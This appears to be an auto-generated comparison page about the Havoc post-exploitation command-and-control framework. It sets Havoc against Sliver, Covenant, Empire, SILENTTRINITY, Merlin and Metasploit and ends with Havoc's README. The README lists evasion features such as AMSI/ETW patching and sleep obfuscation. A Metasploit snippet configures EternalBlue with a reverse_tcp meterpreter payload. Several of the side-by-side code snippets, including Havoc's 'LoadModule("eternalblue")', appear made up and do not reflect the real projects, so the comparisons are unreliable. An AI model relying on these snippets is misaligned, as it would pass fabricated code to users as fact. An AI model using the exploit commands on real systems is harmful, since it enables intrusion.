Convert Figma logo to code with AI

HavocFramework logoHavoc

The Havoc Framework

6,763
952
6,763
99

Top Related Projects

8,358

Adversary Emulation Framework

Covenant is a collaborative .NET C2 framework for red teamers.

4,228

Empire is a post-exploitation and adversary emulation framework that is used to aid Red Teams and Penetration Testers.

An asynchronous, collaborative post-exploitation agent powered by Python and .NET's DLR

5,064

Merlin is a cross-platform post-exploitation HTTP/2 Command & Control server and agent written in golang.

Metasploit Framework

Quick Overview

Havoc is an advanced command and control (C2) framework designed for red team operations and adversary simulations. It provides a robust platform for managing post-exploitation activities, with a focus on stealth, flexibility, and extensibility.

Pros

  • Advanced evasion techniques and OPSEC-safe features
  • Highly customizable and extensible architecture
  • User-friendly graphical interface for easier operation
  • Active development and community support

Cons

  • Steep learning curve for beginners
  • Limited documentation compared to some other C2 frameworks
  • Potential for misuse if not handled responsibly
  • Requires significant setup and configuration for optimal performance

Getting Started

To get started with Havoc:

  1. Clone the repository:

    git clone https://github.com/HavocFramework/Havoc.git
    
  2. Install dependencies:

    cd Havoc/Client
    sudo apt-get install build-essential cmake libssl-dev libfontconfig1-dev libfreetype6-dev libx11-dev libx11-xcb-dev libxext-dev libxfixes-dev libxi-dev libxrender-dev libxcb1-dev libxcb-glx0-dev libxcb-keysyms1-dev libxcb-image0-dev libxcb-shm0-dev libxcb-icccm4-dev libxcb-sync0-dev libxcb-xfixes0-dev libxcb-shape0-dev libxcb-randr0-dev libxcb-render-util0-dev libxcb-util0-dev libxcb-xinerama0-dev libxcb-xkb-dev libxkbcommon-dev libxkbcommon-x11-dev
    
  3. Build the project:

    make
    
  4. Run Havoc:

    ./Havoc
    

Note: This is a simplified getting started guide. For full setup and usage instructions, refer to the official documentation and follow responsible usage guidelines.

Competitor Comparisons

8,358

Adversary Emulation Framework

Pros of Sliver

  • Cross-platform support (Windows, macOS, Linux)
  • Built-in support for multiple C2 protocols (DNS, HTTP, MTLS)
  • Extensive documentation and active community support

Cons of Sliver

  • Steeper learning curve for beginners
  • Less intuitive GUI compared to Havoc
  • Limited built-in post-exploitation modules

Code Comparison

Sliver (Go):

implant, err := sliver.NewImplant(
    sliver.WithC2(c2),
    sliver.WithOS(runtime.GOOS),
    sliver.WithArch(runtime.GOARCH),
)

Havoc (C++):

auto implant = std::make_unique<Havoc::Implant>();
implant->SetC2(c2);
implant->SetOS(Havoc::OS::Windows);
implant->SetArch(Havoc::Arch::x64);

Both frameworks offer powerful features for red team operations, but they cater to different preferences. Sliver provides a more flexible, cross-platform approach with multiple C2 protocols, making it suitable for diverse environments. However, it may require more time to master.

Havoc, on the other hand, offers a more user-friendly interface and focuses primarily on Windows environments. It may be easier for beginners to get started with, but it lacks some of the cross-platform capabilities that Sliver provides.

The code comparison shows that both frameworks use similar concepts for creating implants, but Sliver leverages Go's simplicity, while Havoc utilizes C++'s object-oriented features.

Covenant is a collaborative .NET C2 framework for red teamers.

Pros of Covenant

  • Built on .NET Core, offering cross-platform compatibility
  • Extensive GUI for easier management and visualization
  • Robust task management system with built-in task types

Cons of Covenant

  • Less frequent updates compared to Havoc
  • Potentially higher resource usage due to .NET Core framework
  • More complex setup process for some environments

Code Comparison

Covenant (C#):

public class Grunt : IMessenger
{
    public string Name { get; set; }
    public GruntStatus Status { get; set; }
    public List<TaskResult> TaskResults { get; set; }
}

Havoc (C):

typedef struct _AGENT_CTX
{
    BUFFER Send;
    BUFFER Config;
    BUFFER Receive;
    LPVOID Parameter;
} AGENT_CTX, *PAGENT_CTX;

Both frameworks use structured data types to manage agent information, but Covenant's object-oriented approach contrasts with Havoc's C-style structs. Covenant's code is more verbose and type-safe, while Havoc's is more lightweight and closer to the system level.

Havoc focuses on performance and low-level control, making it potentially more suitable for advanced users and specific scenarios. Covenant's higher-level abstractions and GUI may be more accessible for less experienced operators or those preferring visual interfaces.

4,228

Empire is a post-exploitation and adversary emulation framework that is used to aid Red Teams and Penetration Testers.

Pros of Empire

  • More mature and established project with a larger user base
  • Extensive documentation and community support
  • Wider range of modules and plugins available

Cons of Empire

  • Less active development compared to Havoc
  • Older codebase may have more legacy code and technical debt
  • Potentially slower performance due to its Python-based architecture

Code Comparison

Empire (Python):

def get_agent_name():
    return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))

Havoc (C++):

std::string GetAgentName() {
    const std::string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
    return GenerateRandomString(chars, 8);
}

Summary

Empire is a well-established post-exploitation framework with a large community and extensive features. However, it may suffer from slower development and performance issues. Havoc, being newer and written in C++, potentially offers better performance and more active development but may lack the maturity and extensive module library of Empire. The choice between the two depends on specific requirements and preferences for stability versus cutting-edge features.

An asynchronous, collaborative post-exploitation agent powered by Python and .NET's DLR

Pros of SILENTTRINITY

  • Written in Python, making it more accessible for scripting and customization
  • Supports a wider range of payload types, including Python and .NET
  • Utilizes IronPython for cross-platform compatibility

Cons of SILENTTRINITY

  • Less actively maintained, with fewer recent updates
  • Smaller community and less extensive documentation
  • Limited built-in modules compared to Havoc's extensive feature set

Code Comparison

SILENTTRINITY (Python):

class STModule(STShell):
    def __init__(self):
        self.name = 'example'
        self.description = 'Example module'
        self.author = '@byt3bl33d3r'
        self.options = {}

Havoc (C++):

class ExampleModule : public Module
{
public:
    ExampleModule() : Module("Example", "Description", "Author") {}
    void Execute() override {
        // Module logic here
    }
};

Both frameworks use a modular approach, but Havoc's C++ implementation may offer better performance for certain operations. SILENTTRINITY's Python-based structure allows for easier scripting and rapid development, while Havoc's C++ foundation provides more low-level control and potentially faster execution.

5,064

Merlin is a cross-platform post-exploitation HTTP/2 Command & Control server and agent written in golang.

Pros of Merlin

  • Written in Go, offering cross-platform compatibility and easy deployment
  • Supports multiple protocols (HTTP/1.1, HTTP/2, HTTPS) for C2 communications
  • Implements OPAQUE protocol for secure agent authentication

Cons of Merlin

  • Less extensive feature set compared to Havoc
  • Smaller community and fewer contributors
  • Limited GUI options, primarily relies on CLI

Code Comparison

Merlin (Agent initialization):

func New(protocol string, url string, psk []byte) (Agent, error) {
    a := Agent{
        ID:      uuid.NewV4(),
        Platform: runtime.GOOS,
        Architecture: runtime.GOARCH,
        Pid:     os.Getpid(),
        Version: merlin.Version,
    }
    // ... (additional initialization)
}

Havoc (Agent configuration):

class AgentConfig
{
public:
    std::string AgentID;
    std::string Hostname;
    std::string Username;
    std::string ProcessName;
    std::string ProcessPath;
    // ... (additional configuration options)
};

Both projects focus on creating flexible and powerful post-exploitation frameworks. Merlin emphasizes cross-platform compatibility and secure communications, while Havoc offers a more comprehensive feature set and graphical interface. The code snippets demonstrate different approaches to agent initialization and configuration, reflecting the languages and design philosophies of each project.

Metasploit Framework

Pros of Metasploit-Framework

  • Extensive library of exploits and modules
  • Large, active community contributing to development and support
  • Well-documented and widely used in the cybersecurity industry

Cons of Metasploit-Framework

  • Can be resource-intensive and slower to execute
  • More complex to use for beginners
  • Detectable by many antivirus solutions due to its popularity

Code Comparison

Metasploit-Framework (Ruby):

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit

Havoc (C++):

Havoc::Session* session = Havoc::CreateSession("192.168.1.100", 4444);
Havoc::Module* module = session->LoadModule("eternalblue");
module->SetOption("RHOST", "192.168.1.100");
module->Execute();

While both frameworks aim to provide penetration testing capabilities, Metasploit-Framework offers a more comprehensive set of tools and a larger community. However, Havoc focuses on being a lighter, more modern alternative with potentially better evasion capabilities. The code examples demonstrate the different approaches to executing exploits, with Metasploit using a more script-like syntax and Havoc utilizing object-oriented programming concepts.

Convert Figma logo designs to code with AI

Visual Copilot

Introducing Visual Copilot: A new AI model to turn Figma designs to high quality code using your components.

Try Visual Copilot

README

Havoc


Havoc is a modern and malleable post-exploitation command and control framework, created by @C5pider.




:warning: Havoc is in an early state of release. Breaking changes may be made to APIs/core structures as the framework matures.

Support

Consider supporting C5pider on Patreon/Github Sponsors. Additional features are planned for supporters in the future, such as custom agents/plugins/commands/etc.

Quick Start

Please see the Wiki for complete documentation.

Havoc works well on Debian 10/11, Ubuntu 20.04/22.04 and Kali Linux. It's recommended to use the latest versions possible to avoid issues. You'll need a modern version of Qt and Python 3.10.x to avoid build issues.

See the Installation docs for instructions. If you run into issues, check the Known Issues page as well as the open/closed Issues list.


Features

Client

Cross-platform UI written in C++ and Qt

  • Modern, dark theme based on Dracula

Teamserver

Written in Golang

  • Multiplayer
  • Payload generation (exe/shellcode/dll)
  • HTTP/HTTPS listeners
  • Customizable C2 profiles
  • External C2

Demon

Havoc's flagship agent written in C and ASM

  • Sleep Obfuscation via Ekko, Ziliean or FOLIAGE
  • x64 return address spoofing
  • Indirect Syscalls for Nt* APIs
  • SMB support
  • Token vault
  • Variety of built-in post-exploitation commands
  • Patching Amsi/Etw via Hardware breakpoints
  • Proxy library loading
  • Stack duplication during sleep.

Extensibility


Community

You can join the official Havoc Discord to chat with the community!

Contributing

To contribute to the Havoc Framework, please review the guidelines in Contributing.md and then open a pull-request!

Note

Please do not open any issues regarding detection.

The Havoc Framework hasn't been developed to be evasive. Rather it has been designed to be as malleable & modular as possible. Giving the operator the capability to add custom features or modules that evades their targets detection system.